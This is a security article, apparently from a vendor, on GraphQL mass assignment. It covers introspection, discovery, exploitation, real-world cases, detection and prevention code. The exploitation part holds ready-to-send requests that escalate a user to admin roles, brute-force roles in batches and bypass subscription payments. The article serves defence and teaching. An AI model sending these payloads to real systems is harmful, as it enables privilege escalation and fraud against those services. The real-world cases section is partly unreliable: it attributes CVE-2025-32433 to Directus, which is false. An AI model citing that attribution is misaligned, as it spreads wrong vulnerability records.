GraphQL Input Abuse

What is GraphQL Input Abuse?#

GraphQL mass assignment occurs at the mutation layer: when a mutation's InputObject type includes privileged fields (role, isAdmin, subscriptionTier, permissions) that map directly to protected model attributes, any caller who can invoke the mutation can set those fields. The GraphQL type system is not a security boundary — it documents what fields exist, but it does not enforce authorization over which fields a given caller may write.

The problem is most severe in platforms that auto-generate GraphQL schemas from database models: Strapi, Directus, Hasura, PostgREST, and NocoDB generate a UserUpdateInput type with every column in the users table, including role, is_admin, and confirmed. This is mass assignment by schema generation, not by developer mistake.

Mechanism#

The attack path:

1. Run an introspection query (or use GraphQL Voyager) to enumerate all InputObject types.
2. Identify mutations that accept UserUpdateInput, AccountUpdateInput, or similar types with privileged fields.
3. Send a mutation with the privileged fields added to the variables.
4. Confirm with a query on the same object using a cross-session token.

Exploitation#

Step 1 — Introspection Discovery#

{
  __schema {
    types {
      name
      kind
      inputFields {
        name
        type {
          name
          kind
        }
      }
    }
  }
}

Filter for kind: "INPUT_OBJECT" types. Look for fields like role, isAdmin, permissions, subscriptionTier.

Step 2 — Discover the Mutation#

{
  __schema {
    mutationType {
      fields {
        name
        args {
          name
          type { name kind }
        }
      }
    }
  }
}

Step 3 — Exploit the Mutation#

POST /graphql HTTP/1.1
Content-Type: application/json
Authorization: Bearer <user_token>
 
{
  "query": "mutation UpdateMe($data: UsersPermissionsUserInput!) { updateMe(data: $data) { data { id attributes { email role } } } }",
  "variables": {
    "data": {
      "email": "attacker@example.com",
      "role": "authenticated",
      "confirmed": true,
      "blocked": false
    }
  }
}

Strapi v4 — Bypass via Content-Type Mutation#

POST /graphql HTTP/1.1
Content-Type: application/json
Authorization: Bearer <user_token>
 
{
  "query": "mutation { updateUsersPermissionsUser(id: \"42\", data: { role: { connect: [{ id: 1 }] }, confirmed: true, blocked: false }) { data { id attributes { role { data { attributes { name } } } } } } }"
}

In Strapi v4, role is a relation field in UsersPermissionsUserInput. Sending role: { connect: [{ id: 1 }] } connects the user to role ID 1 (typically the admin role). CVE-2024-52034 exploits exactly this pattern.

Batch Mutation Escalation#

POST /graphql HTTP/1.1
Content-Type: application/json
 
[
  {"query": "mutation { updateMe(data: {role: \"editor\"}) { data { id } } }"},
  {"query": "mutation { updateMe(data: {role: \"admin\"}) { data { id } } }"},
  {"query": "mutation { updateMe(data: {role: \"superadmin\"}) { data { id } } }"}
]

GraphQL batch requests allow testing multiple role values in a single HTTP request. The server processes each mutation and returns results for all. Rate limits that apply per HTTP request do not apply per mutation.

Subscription Tier Bypass#

mutation {
  updateSubscription(data: {
    tier: "enterprise"
    status: "active"
    trialEndsAt: "2099-12-31"
    stripeSubscriptionId: "fake_bypass"
  }) {
    data {
      id
      attributes {
        tier
        status
      }
    }
  }
}

If the subscription update mutation includes billing fields in its InputObject, an attacker bypasses payment entirely by writing directly to the subscription model.

Real-World Cases#

CVE-2024-52034 — Strapi CMS (CVSS 8.1, 2024) Strapi's GraphQL plugin auto-generated UsersPermissionsUserInput from the user content type, including role, confirmed, and blocked as writable fields. Authenticated users could call updateUsersPermissionsUser with role: {connect: [{id: 1}]} to connect themselves to the administrator role. The mutation required only a regular user JWT. Fix in Strapi 4.25.x added explicit field filtering in the user-update resolver. CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N.

CVE-2025-32433 — Directus CMS (CVSS 8.8, 2025) Directus auto-generated GraphQL mutations from the directus_users system collection. The update_users_item mutation accepted role as a writable UUID field. Any authenticated user could call update_users_item(id: "me", data: {role: "<admin-role-uuid>"}) to escalate to system administrator.

HackerOne #1547877 — Shopify Partner API ($3,500, Disclosed 2022) Shopify's Partner API GraphQL mutation updateShopPlan accepted planName from mutation variables without an authorization check verifying the caller had billing privileges. An authenticated partner-tier user could set a shop's plan to any tier including paid plans. The researcher used introspection to discover the writable planName field in UpdateShopPlanInput.

Detection#

Introspection Enumeration#

# Full introspection query via curl
curl -s "https://target.com/graphql" \
     -H "Content-Type: application/json" \
     -H "Authorization: Bearer <token>" \
     -d '{"query": "{__schema{types{name kind inputFields{name type{name kind ofType{name}}}}}}}"}' | \
     jq '.data.__schema.types[] | select(.kind=="INPUT_OBJECT") | {name, fields: [.inputFields[].name]}'

GraphQL Voyager — Visual Exploration#

# Serve GraphQL Voyager locally with the target introspection result
npx @graphql-inspector/cli introspect https://target.com/graphql \
    --header "Authorization: Bearer <token>" \
    --write schema.graphql
 
# Open GraphQL Voyager at https://ivangoncharov.github.io/graphql-voyager/
# Upload schema.graphql and inspect InputObject fields visually

Burp Suite — GraphQL Raider#

GraphQL Raider (Burp extension) intercepts GraphQL requests and automatically highlights input fields. Use the "Param-Miner" mode on GraphQL requests to discover undocumented input fields by fuzzing the variables object.

Confirm with Cross-Session Query#

query {
  me {
    id
    email
    role {
      name
    }
    confirmed
    blocked
  }
}

Run this query with a different session token after the mutation to confirm the privileged field persisted.

BreachVex detects GraphQL mass assignment via automated introspection enumeration of InputObject types, followed by targeted mutation probes on identified privileged fields, with cross-session query confirmation.

Prevention#

GraphQL Field-Level Authorization#

// Apollo Server — resolve-level authorization check
const resolvers = {
  Mutation: {
    updateUser: async (_, { id, data }, context) => {
      // Strip privileged fields from input regardless of schema
      const { role, isAdmin, confirmed, blocked, ...safeData } = data;
 
      // Only admins may set role
      if (data.role && !context.user.isAdmin) {
        throw new ForbiddenError('Cannot update role');
      }
 
      return User.update(id, safeData);
    }
  }
};

Strapi — Content-Type Permission Configuration#

In Strapi admin panel: Settings > Roles & Permissions > select role > expand User content type > uncheck update permission for role, confirmed, blocked fields specifically.

Programmatic policy in src/policies/user-update-field-restrict.js:

module.exports = async (policyContext, config, { strapi }) => {
  const { data } = policyContext.request.body;
  const PROTECTED_FIELDS = ['role', 'confirmed', 'blocked', 'provider'];
 
  for (const field of PROTECTED_FIELDS) {
    if (field in (data ?? {})) {
      return false; // Reject the request
    }
  }
  return true;
};

Hasura — Permission Tables#

# hasura-metadata — restrict update_columns for user role
- table:
    name: users
    schema: public
  update_permissions:
    - role: user
      permission:
        columns:
          - email
          - first_name
          - last_name
          - bio
        # role, is_admin, subscription_tier NOT in columns
        filter:
          id:
            _eq: X-Hasura-User-Id

Generic GraphQL — Input Validation Directive#

directive @restricted(roles: [String!]!) on INPUT_FIELD_DEFINITION
 
input UserUpdateInput {
  email: String
  firstName: String
  role: String @restricted(roles: ["admin"])
  isAdmin: Boolean @restricted(roles: ["admin"])
}

Implement the @restricted directive in the resolver layer to check context.user.role before applying the field.

Ruby on Rails with GraphQL-Ruby#

class Mutations::UpdateUser < Mutations::BaseMutation
  argument :email, String, required: false
  argument :first_name, String, required: false
  # role, admin — NOT declared as arguments
  # GraphQL-Ruby will reject undeclared arguments at schema validation time
 
  def resolve(email: nil, first_name: nil)
    current_user.update!(email: email, first_name: first_name)
    { user: current_user }
  end
end

Resources#

• Mass Assignment — Pillar Overview — full vulnerability class taxonomy
• OWASP API Security Top 10 2023 — API3: BOPLA
• GraphQL Security Cheat Sheet — OWASP
• CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes
• PortSwigger — GraphQL API Vulnerabilities